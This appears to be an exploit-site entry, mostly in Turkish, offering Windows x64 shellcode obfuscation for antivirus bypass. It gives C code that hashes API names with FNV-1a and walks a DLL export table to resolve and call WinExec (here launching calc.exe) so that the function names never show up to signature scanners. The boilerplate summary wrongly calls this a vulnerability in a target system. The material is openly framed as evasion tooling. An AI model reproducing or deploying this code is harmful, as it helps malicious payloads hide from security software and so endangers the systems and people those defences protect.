VULN REPORT
/
shellcode
/
ID: 265
Windows/x64 API Hashing ve String Encryption ile Shellcode Obfuskasyon
Summary
This entry details a vulnerability found in the target system. The exploit was published on 2026-07-21 and has garnered 1 views from the community. It is classified under the shellcode category. Users are advised to review the source code in the Detail tab for technical specifics.
exploit_265.txt
Modern Obfuskasyon - Windows x64 - AV Bypass
Windows/x64 Shellcode Obfuskasyon - API Hashing ve String Encryption
Statik AV'lar shellcode icindeki taninan stringlere imza uretir. API hashing bu stringleri gizler; calisma zamaninda fonksiyon adresleri hash degeri uzerinden bulunur.
FNV-1a Hash ile API Sifrelemesi
#define FNV_PRIME 0x01000193
#define FNV_OFFSET 0x811c9dc5
uint32_t fnv1a(const char* s) {
uint32_t h = FNV_OFFSET;
while (*s) { h ^= (uint8_t)*s++; h *= FNV_PRIME; }
return h;
}
/* Hash degerleri:
"WinExec" -> 0x876F8B31
"LoadLibraryA" -> 0xEC0E4E8E
"VirtualAlloc" -> 0xE553A458 */
Export Table Traversal
FARPROC find_api(HMODULE dll, uint32_t hash) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)dll;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)
((BYTE*)dll + dos->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)
((BYTE*)dll + nt->OptionalHeader
.DataDirectory[0].VirtualAddress);
DWORD* names = (DWORD*)((BYTE*)dll + exp->AddressOfNames);
WORD* ords = (WORD*) ((BYTE*)dll + exp->AddressOfNameOrdinals);
DWORD* funcs = (DWORD*)((BYTE*)dll + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
char* name = (char*)((BYTE*)dll + names[i]);
if (fnv1a(name) == hash)
return (FARPROC)((BYTE*)dll + funcs[ords[i]]);
}
return NULL;
}
// Kullanim:
FARPROC WE = find_api(hKernel32, 0x876F8B31);
((WINEXEC)WE)("calc.exe", SW_SHOW);
Entry Stats
Views
1
Downloads
0
Comments
0